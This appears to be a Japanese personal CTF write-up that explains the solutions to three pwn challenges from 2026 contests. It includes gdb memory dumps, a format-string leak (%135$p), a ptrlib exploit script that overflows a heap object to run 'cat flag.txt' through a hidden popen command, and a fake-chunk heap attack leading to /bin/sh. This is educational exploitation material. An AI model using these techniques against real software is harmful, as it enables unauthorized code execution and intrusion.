今年限定でCTFに参加しました。 昔C++を書いていたのでpwnを担当しましたが、あまり関係なかったような気がします。
Hack The Boxもやってみましたが、最近の脆弱性を利用するようなものは難しくて歯が立たないです。
防衛省サイバーコンテストでは、ローカル環境で解けたにも関わらず、Pythonが嫌いすぎて1問落としてしまったため、AI利用可のSECCON Beginnersではコードは全てAIに書かせました。
主観で面白かった問題を書いています。
防衛省サイバーコンテスト2026 深層の証言
format: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f8da17415bcf3ec6557dc012f5a812239a0832e2, for GNU/Linux 3.2.0, not stripped RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 54 Symbols No 0 2 format
- Binary Ninjaで覗くと
print_flag()を呼び出せれば、フラグを奪取できることが分かる - 実行時に32bitの乱数が生成され、入力値と乱数値が一致した際に
print_flag()が呼ばれる %pなどの入力でFSBが存在することがわかる
FSBが利用できるため、オフセットが分かれば実行時に乱数値を確認することができます。 gdbで乱数らしき値をさがしてみます。
gdb-peda$ x/20wx $esp+0x200 0xffffd42c: 0x00000000 0xf7fc5570 0xf7fc5000 0x00000000 0xffffd43c: 0x00000000 0x00000000 0x00000000 0xffffffff 0xffffd44c: 0x74b65799 0xf7fbd400 0x00000000 0x00000000 0xffffd45c: 0xffffd480 0xf7f98e14 0x0804bef8 0x00000000 0xffffd46c: 0xf7d8acc3 0x00000000 0x00000000 0xf7da4029 gdb-peda$ x/20wx $esp+0x200 0xffffd42c: 0x00000000 0xf7fc5570 0xf7fc5000 0x00000000 0xffffd43c: 0x00000000 0x00000000 0x00000000 0xffffffff 0xffffd44c: 0x2812ac6d 0xf7fbd400 0x00000000 0x00000000 0xffffd45c: 0xffffd480 0xf7f98e14 0x0804bef8 0x00000000 0xffffd46c: 0xf7d8acc3 0x00000000 0x00000000 0xf7da4029
charで0x100バイト分の確保が2回あるので、$esp+0x200あたりを探すと、実行ごとに変化してアドレスらしくない値がありました。
こちらはprintfからみて135番目の引数に相当するため、%135$pで出力することができます。
Exploration: %135$p 0x2812ac6d
こちらを10進数に変換して入力すれば、フラグが出力されます。
python -c "print(int('0x2812ac6d', 16))"
防衛省サイバーコンテスト2026 記憶の侵食
heap: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=9c61b37f2a18f3f4136821a956b2c40b4d44d9e6, for GNU/Linux 3.2.0, with debug_info, not stripped RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 2317 Symbols No 0 0heap
- サイズを指定して
malloc/freeができるプロフラム - Show A / Show Bで確保済のアドレスが確認できる
- Write AでAにのみ書き込み可能
- Binary Ninjaで覗いてみると、オブジェクトBの内容を
popenで実行できる隠しコマンドがあるのがわかる
freeの後にポインタをNULLにしていなそうなので、Use-After-Freeが使えそうなことが分かりました。また、オブジェクトAへの書き込みもサイズチェックが入っていないため、バッファオーバーフローを利用する方針にしました。
1. Allocate A -> 2. Allocate B -> 6. Show A -> 7. Show B の順に操作してアドレスを確認します。
=== Object A === Name: A Size: 8 Data: Data address: 0x55558be317d0 Object address: 0x55558be31770 Callback address: 0x7f68782dedaa In use: 1 === Object B === Name: B Size: 8 Data: Data address: 0x55558be31850 Object address: 0x55558be317f0 Callback address: 0x7f68782dedaa In use: 1
Aのdata addressからBのobject addressまでオフセットは0x20となり、そのあとに任意のシェルコマンドの文字列を載せてから、隠しコマンドの9番で実行することで、フラグを奪取できます。
from ptrlib import * io = Process('./heap') io.sendlineafter(b'> ', 1) io.sendlineafter(b'Object size (1-512): ', 8) io.sendlineafter(b'Object name: ', 'a') io.sendlineafter(b'> ', 2) io.sendlineafter(b'Object size (1-512): ', 8) io.sendlineafter(b'Object name: ', 'b') io.sendlineafter(b'> ', 5) payload = b'A' * 32 + b'cat flag.txt' io.sendlineafter(b'Data (max 8 bytes): ', payload) io.sendlineafter(b'> ', 9) print(io.recvline()) io.interactive()
SECCON Beginners CTF 2026 backlog
考察
- Full RELRO, canary, NX, PIE, not stripped
run_jobにsystemコマンドがあり、tokenがAPPROVAL_TOKEN(0x4a4f425f41505052)と一致する際に利用できそうですread_note_dataの最後のbuf[n] = '\0';で1バイトのオーバーフローがあります
exploit
事前に3つのノートを作成しておきます。順番にノート0, 1, 2とします。
- ノート0: 偽chunk用
- ノート1: ノート2のchunkの改ざん用
- ノート2: free時の偽chunk参照用
まず、ノート0のchar* data内にedit_noteを使って偽のchunkを用意します。
こちらは少し後に出てきます。
次にノート1に対するedit_noteの中で呼ばれるread_note_dataを利用して、ノート2のchunk方のsize下位1バイトを0x0で埋め、最下位bitのPREV_INUSEを無効化します。
つまり、ノート1については、MAX_SIZE 0x100以下の制約を満たす必要もあることから、フラグ込みでsizeが0x101になる必要があり、事前に確保するdataの大きさはsizeの領域分8バイトを考慮して、0xF8バイトで確保する必要があります。
また、ノート1を編集する際のdataの最後の8バイトでは、ノート2のprev_sizeにあたるような値をセットします。
このprev_size相当の値が、ノート0のdata内に用意した偽のchunkの位置と合うようにすることで、
ノート2のchunkをdelete_noteでfreeした際に、偽chunkをfree chunkと誤認します。
ノート0の偽chunkは、ノート2の改竄された内容と整合する必要があり、
偽chunkの`size` == ノート2の`prev_size` == 偽chunkからノート2のoffset
が成り立つ必要があります。
ノートのdataの大きさをすべて0xF8バイトとすると、chunk sizeはそれぞれ0x100バイトとなり、改ざん後のノート2のchunk header 0x10バイト分を考えると、オフセットは0x1F0となります。
偽chunkの内容は、prev_size, size, fd, bkの順にそれぞれ、0, 0x1F0, (ノート0のdataのアドレス), (ノート0のdataのアドレス)で埋めておきます。
ノート0のdataのアドレスは、show_noteで取得可能です。
改ざんまでを実施すると以下のようになります。
gdb-peda$ x/100gx notes[0].data-0x10 0x55746a70f290: 0x0000000000000000 0x0000000000000101 # ノート0のchunk size 0x55746a70f2a0: 0x0000000000000000 0x00000000000001f0 # ノート0のdata (偽chunk) 0x55746a70f2b0: 0x000055746a70f2a0 0x000055746a70f2a0 0x55746a70f2c0: 0x3030303030303000 0x3030303030303030 ... 0x55746a70f380: 0x3030303030303030 0x3030303030303030 0x55746a70f390: 0x3030303030303030 0x0000000000000101 # ノート1のchunk size 0x55746a70f3a0: 0x3131313131313131 0x3131313131313131 # ノート1のdata ... 0x55746a70f480: 0x3131313131313131 0x3131313131313131 0x55746a70f490: 0x00000000000001f0 0x0000000000000100 # ノート2のprev_size, size 0x55746a70f4a0: 0x3232323232323232 0x3232323232323232 # ノート2のdata ...
偽chunkは0x55746a70f2a0から始まる0x20バイトに入っていて、改ざん後のノート2のchunkまでのoffsetが0x1F0であることが確認できます。
ノート2のchunkをfreeする際に気をつけることとして、glibcのバージョンによりtcacheが働くことがあり、その場合は同じサイズの領域をtcache countの回数分malloc/freeしておく必要があります。
(例えば、ノート0~2までの確保に、空いているノートで、data0xF8バイトの領域を7つ確保して解放しておきます。)
freeのあとは、create_jobで偽chunkのアドレスにあるfree chunkにjobを書き込み、ノート0へのedit_noteでcommandを/bin/shなど、tokenを0x4a4f425f41505052に置き換えれば、攻撃が成立します。



